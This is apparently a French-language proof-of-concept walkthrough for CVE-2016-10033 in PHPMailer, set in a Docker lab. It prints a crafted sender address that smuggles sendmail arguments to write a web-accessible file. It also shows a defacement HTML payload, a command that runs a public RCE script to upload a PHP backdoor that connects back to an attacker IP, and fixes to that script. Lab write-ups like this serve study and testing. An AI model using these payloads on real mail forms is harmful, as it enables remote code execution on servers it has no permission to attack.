astrowmist/poc-cve-2016-10033Preuve de concept pour le CVE-2016-10033 (PHPMailer)
Commençons par mettre en place l'application vulnérable.
Command: docker pull vulnerables/cve-2016-10033
You can now access the vulnerable website at localhost:8080 in the web browser.
Saisie du nom : OSEC (peut être n'importe quelle chaîne, cela n'affecte pas l'exploit)
Email d'expéditeur trafiqué : "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
Le fonctionnement de cet email d'expéditeur trafiqué est expliqué en détail dans la section description du vecteur d'attaque. Concernant les paramètres spécifiques, le deuxième paramètre -oQ/tmp spécifie le répertoire de la file d'attente et le troisième paramètre, -X/www/pwn.html spécifie l'emplacement du fichier journal à écrire.
Si le répertoire de la file d'attente n'est pas spécifié, le processus sendmail tentera d'accéder au répertoire de file d'attente par défaut (/var/spool/mqueue-client/) qui serait protégé pour empêcher tout accès non autorisé et toute falsification, ce qui est une mesure de sécurité courante. Pour éviter ce problème de permission, vous devez spécifier un répertoire de file d'attente où l'utilisateur exécutant le script PHP a les droits d'écriture. Généralement, un répertoire comme /tmp est utilisé car il est généralement accessible en écriture par tous les utilisateurs.
Si le corps de l'email contient du code PHP, et si le fichier journal spécifié est placé dans un répertoire accessible via le web, l'attaquant peut exécuter le code PHP en accédant au fichier journal via un navigateur web, entraînant ainsi une exécution de code à distance.
Saisie du message : Ceci est simplement un exemple de fichier HTML qu'un attaquant pourrait télécharger. Bien sûr, l'attaquant pourrait télécharger quelque chose de bien pire comme une porte dérobée, ce que nous ferons dans la prochaine méthode d'exploitation.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>
Commande : python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> spécifie l'URL cible
-cf -> spécifie l'emplacement du formulaire de contact dans l'URL spécifiée dans -url. (Dans notre cas, c'est exactement le même que -url donc nous avons simplement inclus une barre oblique)
-ip -> spécifie l'adresse IP de l'attaquant pour que la porte dérobée se reconnecte
-d -> spécifie le répertoire relatif pour télécharger le fichier PHP de la porte dérobée
--post-action -> l'attribut name du champ caché
--post-msg -> l'attribut name du champ de saisie du message
Remarque : La raison pour laquelle nous devons spécifier --post-action à "submit" et --post-msg à "message" est que dans l'application vulnérable que nous utilisons, l'attribut name est différent des valeurs par défaut utilisées dans le script d'exploitation Python.
Les attributs name dans l'application vulnérable :
Les attributs name par défaut spécifiés dans le script :
Dans l'image ci-dessus, vous pouvez voir que le programme tente d'accéder à http://127.0.0.1:8080//www/phpbackdoor9284.php ce qui est évidemment incorrect à cause du //www. Cela ne fonctionnera pas car dans ce site web vulnérable, /www est la racine du site, donc vous ne pouvez pas accéder à http://127.0.0.1:8080/www puisque http://127.0.0.1:8080 est déjà à /www.
De plus, dans l'image ci-dessous, nous pouvons voir que l'exploit a effectivement fonctionné car le fichier phpbackdoor9284.php a été créé avec succès dans le répertoire. Par conséquent, le seul problème était de savoir comment supprimer ce //www de l'URL.
Après un examen plus approfondi du script Python, nous avons réussi à localiser la variable BACKDOOR_URL qui spécifie l'URL du fichier PHP de la porte dérobée.
Dans la variable, nous pouvons voir que le répertoire cible que nous avons spécifié (args.TARGET_UP_DIR) est concaténé avec la variable BACKDOOR_FILE.
Pour résoudre le problème, nous devons supprimer cela et la barre oblique supplémentaire.
Avant :
Après :
